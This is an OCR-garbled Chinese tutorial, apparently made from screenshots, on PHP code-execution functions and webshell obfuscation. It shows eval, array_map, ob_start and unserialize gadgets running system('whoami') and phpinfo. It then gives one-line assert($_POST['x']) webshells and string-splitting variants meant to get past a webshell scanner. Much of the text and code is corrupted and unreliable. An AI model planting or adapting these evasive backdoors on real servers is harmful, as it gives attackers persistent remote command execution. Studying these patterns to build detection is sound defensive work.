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@eval( echo

in ©.586
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$a="phpinfo”;%a();

$a="phpinfo";%a();

phpinfo()
PHP Version =»> 7.1.9

System => Windows NT DESKTOP-2IL1C93 1.0 build 18362 (Windows 10) AMD64

Build Date => Aug 30 2017 18:30:25

Compiler => MSVC14 (Visual C++ 2015)

Architecture => x64

Configure Command => cscript /nologo configure.js "--enable-snapshot-build™ "--ena

"--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient 12 1\sdk,shared
"--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12 1\sdk,share

mon mow

*--enable-com-dotnet=shared” "--with-mcrypt=static
Server API => Command Line Interface

Virtual Directory Support => disabled
Configuration File (php.ini) Path => C:\WINDOWS
Loaded Configuration File => (none)

Scan this dir for additional .ini files => (none)
Additional .ini files parsed => (none)

PHP API => 20160303

--without-analyzer™ “--with-pg|
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b.php

@eval('echo XJEHiH;");

a.php

include a.php

in 8.179 seconds

@kiﬁﬁmﬁﬁ/\m BMWMELS N2, HH A LU A R
THERBICZEMPT R, XAV A RS, F  Farray ma
R : array map R K Sarr BN LR LS func R £
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$func = 'system';
$arr = array('whoami');

array_map($func, $arr);

ystem';
$arr = array{ 'whoami');
array_map($func, $arr);

[ “g:_aﬁp "d:\php5Study\WhWW\index. php'
desktop-2illc93\administrator

[Done] exited with in @.295 seconds

5. PHP Curly Syntax
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<?php
$a = 'p’;

eval("{$athpinfo();");



$a = 'p’;
eval ("{$athpin

L AU ing| pnp d: \phnpo>Tudy \WWW\1ndex. pnp
phpinfo() ;phpinfo()
PHP Version =» 7.1.9

System => Windows NT DESKTOP-2IL1C93 10.0 build 18362 (Windows 10) AMD64

Build Date =»> Aug 30 2017 18:30:25

Compiler => MSVC14 (Visual C++ 2015)

Architecture => x64

Configure Command => cscript /nologo configure.js “--enable-snapshot-build™ "--enable-d
"--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient 12 1\sdk,shared"
"--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient 12 1\sdk,shared™ "-
"--enable-com-dotnet=shared” "--with-mcrypt=static --without-analyzer™ "--with-pgo™
Server API =»> Command Line Interface

mom

Virtual Directory Support => disabled

oy ) o) ] '3 => (-

6. php & 744t

XM php SOy F AL IR R 52 B A & AT, AT BL S B — A P B
W SO, BEFMH XTI R BHunserialize

class test({
public $a="123";
public function __ wakeup(){

eval($this->a);

unserialize('0:4:"test":1:{s:1:"a";s:10:"phpinfo();";}");



test{

_ wakeup(){
eval( ->a);

}

unserialize('0:4:"test":1:{s:1:"a";s:1@:"phpinf

PHP Version =» 7.1.9

System =» Windows NT DESKTOP-2IL1C93 1.8 build 18362 (Windows 10) AMD64

Build Date => Aug 30 2017 18:30:25

Compiler =»> MSVC14 (Visual C++ 2015)

Architecture => x64

Configure Command =»> cscript /nologo configure.js "--enable-snapshot-build"™ "--enab

" 3 - - E E - E A —t= - < k <har:s

7. php://input 5k

php://input Al LAV A1 5K A 00 BodlE 00 R i, AT R BL B R O
A MtepostZ M, php://input X BLHCE], XIS % 3 AT AT LU A
MM T .

@eval(file_get contents('php://input'));



PHP Version 5.6.9 Php

| "

System Windows NT DESKTOP-2IL1C93 6.2 build Burp Project Aiets EX8 ®0 =3
DufciDate May 13 2015 19:23:54 [uma]en s | mze [zen | sae [wee |
Compiler MSVC11 (Visual C++ 2012) I B HTTPR BicF } WebSocketT £ } =1 |
Architecture w64

hitp:/ias] wang:80 [127.0.0.1) # s
Configure Command escript /nologo configurejs “--enable-sn o tipilesjweng0 | ek

isapi” "--disable-nsapi® "--without-mssq| e =8 | mmax || 53

oci=c\php-sdk\oracle\x64\instantclient |
sdk\oracle\x64\instantclient_12_1\sdksh [ Raw | 2 JHE, |
*--enable-com-dotnet=shared" "--with

ET IHTTRA 1
Server API CGI/FastCGl Hos
" Cache-Control: max-age=0
Virtual Directory Support disabled Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S 0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537 36 (KH1
%LE) HEEHS) E—Et\ﬂ fﬁs—ﬁjt@‘ o= index.;php - St.. Accept: text/himl application/xhiml+xml spplicationfxml,g=0.9 image/webp image/ag

b5.6.9nt Accept-Encoding: gzip, deflate
. Accept-Language: zh-CN.zh,q=09
indexphp D:\..\asj Connection: close
phpinfa();

8. preg replace £

preg_replace B B AT — A I W R IE KX A8 R A& . B ATAT LA
EH - LARAITRBEBHRIEEN TS, RaERITHL.

echo preg_replace("/test/e",phpinfo(),"jutst test");

echo preg _replace( ,phpinfo(),"ju

ited with

[ ing] php
phpinfo()
PHP Version => 7.1.9

System =»> Windows NT DESKTOP-2IL1C93 10.0 build 18362 (Windows 18) AMD64

Build Date => Aug 30 2017 18:30:25

Compiler => MSVC14 (Visual C++ 2015)

Architecture => x64

Configure Command => cscript /nologo configure.js "--enable-snapshot-build”™ "--enable-debug-pack”
"--with-pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient_ 12 1\sdk,shared”
"--with-oci8-12c=c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared” "--enable-ob

m o om O

"--enable-com-dotnet=shared” ™--with-mcrypt=static --without-analyzer
Server API =» Command Line Interface
Virtual Directory Support => disabled

--with-pgo”

9. ob start



ob_startB B b ER N, FANSHSEMFHob end
FlushBRE MBS LA EPATRM B EZ P XA,

$cmd = 'system’;
ob_start($cmd);
echo "whoami";

ob_end_flush();

$cmd = sy
ob_start($c
echo "whoami”
ob_end_flush({ ) ;

lunning] Llllr. "d:\phpst W\ index. php'
de:.ktop 2111c93\administrator
Jone] exited with in @.243
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assert($ POST['x']);
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assert($ POST['x"']);
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<?php
$fun = 'assert’';

array_map($fun,array($_POST['x"']));
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<?php
a = "assert”;
c="a';

$c($_POST['x"1);
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$fun = 'assert’';
$f = "fun';

array_map($$f,array($_POST['x"']));
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function ass(){

$a = "a451.ass.aaa.ert.adaww";
$b = explode('.',%a);
$c = $b[1] . $b[3];

return $c;

}
$b = array($_POST['x']);
$c = ass();

array_map($c,$b);



[0 D v2.1.5.4 (Wi e] - 0 x

. v DE DR, BRER RN ML R B!
http:/ /www.d99net.net

. L ®.
HEE T N . ) &
Fy METEEE L RIMAEESIE 1 A0 023
0K M (GEEERERE Fal HBA ol ERAE
[ 4: \phpstudyiwwsiphpt 1Y index. php 1 (BIER)EEEERE $o03 FOST("x"]) 161 2020-06-30 16:14:31

]

M= Qus Tl JRou [Eer glwn

e 101, BHMWIEARR Y, X EEATN ZHEik — /iR Y
BIEHE AR, EFEFNER T,

function downloadFile($url,$x){
$ary = parse_url($url);
$file = basename($ary['path’']);

$ext = explode('.',$file);

$execl=substr($ext[0],3,1);
$exec2=substr($ext[0],5,1);
$exec3=substr($ext[0],5,1);
$execd=substr($ext[0],4,1);

$exec5=substr($ext[0],7,2);



$execl . $exec2 . $exec3

$as[0]

$as[1]

$x;

return $as;

$a = $_POST['x'];

$execd . $execs;

$s = downloadFile('http://www.baidu.com/asdaesfrtafga.txt',$%a);

$b

$s[o];

$c

$s[1];

array_map($b,array($c));
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